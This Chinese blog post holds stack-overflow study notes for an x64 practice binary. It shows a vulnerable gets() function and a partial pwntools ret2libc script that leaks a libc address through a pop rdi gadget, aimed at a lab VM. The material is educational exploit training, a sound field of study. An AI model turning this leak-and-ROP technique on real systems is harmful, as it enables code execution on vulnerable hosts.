栈溢出笔记

释放双眼,带上耳机,听听看~!

有一段时间没写博客了,下午跟着巨佬学了点简单的栈溢出,拿其中两个例子做下笔记 ( x64

在虚拟机里用socat把程序挂起来 socat tcp-l:8233,fork exec:./challenge

查找偏移的网址:https://libc.blukat.me/

也可以使用跃哥的 https://github.com/lieanu/LibcSearcher ( 用着有点卡 Orz

0x01

第一个例子,漏洞点当然也很明显

1
2
3
4
5
6
7
8
int vulfunc()
{
char v1; // [rsp+0h] [rbp-10h]

puts(“data:”);
gets(&v1);
return printf(“data:%sn”, &v1);
}

在 gets 这个地方存在溢出,但是程序中没有 /bin/sh 字符串,也没有 system , execve 等函数供我们使用,当然程序也开了NX

1398afe2e150df

程序中供使用的函数主要有两个 puts 与 gets ,这里可以使用 puts 来泄露出 libc 中 system 与 /bin/sh 字符串的地址

因为是x64的程序,所以程序传参稍微有点不一样,因为puts仅需要一个参数,所以程序中可以很快找到一个可供使用的gadgets

1b658e0f9ddc2a

首先使用puts来泄露出一个地址供查找,这里选择了泄露gets的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = remote(‘10.211.55.33’, 8233)
elf = ELF(‘./rop4’)

context.log_level = ‘DEBUG’

puts_plt = p64(elf.plt[‘puts’])
gets_got = p64(elf.got[‘gets’])
pop_rdi_addr = p64(0x400773)
vuln_func_addr = p64(0x400676)

payload = ‘A’ * 0x10 + pop_rdi_addr*2 + gets_got + puts_plt + vuln_func_addr
io.sendlineafter(‘data:’, payload)
gets_addr = u64(io.recvuntil(‘x7f’)[-6:].ljust(8,’
声明:本站只作网络安全交流之用。严禁发布低俗、违法、涉及政治的内容。如若本站内容侵犯了原著者的合法权益,可联系我们[181-1319-3168]进行及时处理。

给TA打赏
共{{data.count}}人
人已打赏
新闻中心漏洞播报

爬一下知识星球

2020-1-28 0:10:13

漏洞播报

PHP-FPM配置

2020-1-28 1:02:36

免责声明:红客联盟致力于保护作者版权,部分文字/图片来自互联网,无法核实真实出处,如涉及版权问题,请及时联系我们删除[181-1319-3168]。从该公众号转载本文至其他平台所引发一切纠纷与本站无关。支持原创!
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索